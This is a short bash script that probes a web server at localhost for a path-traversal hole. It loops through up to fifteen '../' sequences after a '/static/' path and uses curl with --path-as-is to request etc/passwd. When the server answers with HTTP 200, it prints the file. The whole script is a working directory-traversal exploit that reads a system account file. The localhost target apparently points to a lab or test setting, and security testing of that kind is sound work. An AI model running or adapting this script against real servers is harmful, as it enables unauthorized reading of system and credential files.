#!/bin/bash url="http://localhost:8081" string="../" payload="/static/" file="etc/passwd" # without the first / for ((i=0; i<15; i++)); do payload+="$string" echo "[+] Testing with $payload$file" status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file") echo -e "\tStatus code --> $status_code" if [[ $status_code -eq 200 ]]; then curl -s --path-as-is "$url$payload$file" break fi done